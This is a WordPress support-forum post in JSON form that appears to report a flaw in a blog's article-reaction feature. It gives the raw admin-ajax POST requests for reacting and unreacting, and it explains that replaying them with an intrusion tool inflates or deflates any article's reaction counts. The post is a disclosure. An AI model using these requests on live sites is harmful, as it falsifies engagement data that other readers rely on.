{"id":9558384,"date":"2017-10-05T09:52:58","date_gmt":"2017-10-05T09:52:58","guid":{"rendered":"https:\/\/wordpress.org\/support\/topic\/functionality-abuse\/"},"modified":"2017-10-05T09:52:58","modified_gmt":"2017-10-05T09:52:58","slug":"functionality-abuse","status":"publish","type":"topic","link":"https:\/\/wordpress.org\/support\/topic\/functionality-abuse\/","title":{"rendered":"Functionality Abuse"},"content":{"rendered":"<p>Description: Abuse of Functionality is an attack technique that uses a web site&#8217;s own features and functionality to attack itself or others. Abuse of Functionality can be described as the abuse of an application&#8217;s intended functionality to perform an undesirable outcome.<br \/>\nProof of Concept:<br \/>\nAs a proof of concept let us take a article URL : https:\/\/entertainmentblog.paytm.com\/2017\/03\/16\/mightier-grander-power-packed-baahubali-2-trailer-out\/<br \/>\nBelow this article there is an option to react on this article with various options. People read the article and react on it and that also gives an impression of article for other people.<br \/>\nThe functionality &#8220;React&#8221; and &#8220;Unreact&#8221; can be repeated for &#8220;n&#8221; number of times for an article.<br \/>\nWhen we react on above URL the HTTP request which goes is :<br \/>\nPOST \/wp-admin\/admin-ajax.php HTTP\/1.1<br \/>\nHost: xxxxxx<br \/>\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko\/20100101 Firefox\/56.0<br \/>\nAccept: \/<br \/>\nAccept-Language: en-US,en;q=0.5<br \/>\nContent-Type: application\/x-www-form-urlencoded; charset=UTF-8<br \/>\nX-Requested-With: XMLHttpRequest<br \/>\nReferer: xxxxxxx<br \/>\nContent-Length: 55<br \/>\nCookie:<br \/>\nConnection: close<br \/>\npostid=1470&amp;action=rns_react&amp;reaction=love&amp;unreact=false<\/p>\n<p>With the help of Intruder we can replay this request (With Null Payload) for n number of times to increase a particular reaction for the article. <\/p>\n<p>Similarly when we &#8220;unreact&#8221; to any article the HTTP request which goes is :<br \/>\nPOST \/wp-admin\/admin-ajax.php HTTP\/1.1<br \/>\nHost: xxxxx<br \/>\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko\/20100101 Firefox\/56.0<br \/>\nAccept: \/<br \/>\nAccept-Language: en-US,en;q=0.5<br \/>\nContent-Type: application\/x-www-form-urlencoded; charset=UTF-8<br \/>\nX-Requested-With: XMLHttpRequest<br \/>\nReferer: xxxxx<br \/>\nContent-Length: 55<br \/>\nCookie:<br \/>\nConnection: close<br \/>\npostid=1470&amp;action=rns_react&amp;reaction=love&amp;unreact=true<\/p>\n<p>We can also intrude this with null payloads and can decrease any reaction on any article. It will be possible for an user to decrease\/increase the reactions given by other people on any article.<\/p>\n","protected":false},"template":"","class_list":["post-9558384","topic","type-topic","status-publish","hentry","topic-tag-security-issue"],"jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/wordpress.org\/support\/wp-json\/wp\/v2\/topic\/9558384","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/wordpress.org\/support\/wp-json\/wp\/v2\/topic"}],"about":[{"href":"https:\/\/wordpress.org\/support\/wp-json\/wp\/v2\/types\/topic"}],"version-history":[{"count":0,"href":"https:\/\/wordpress.org\/support\/wp-json\/wp\/v2\/topic\/9558384\/revisions"}],"wp:attachment":[{"href":"https:\/\/wordpress.org\/support\/wp-json\/wp\/v2\/media?parent=9558384"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}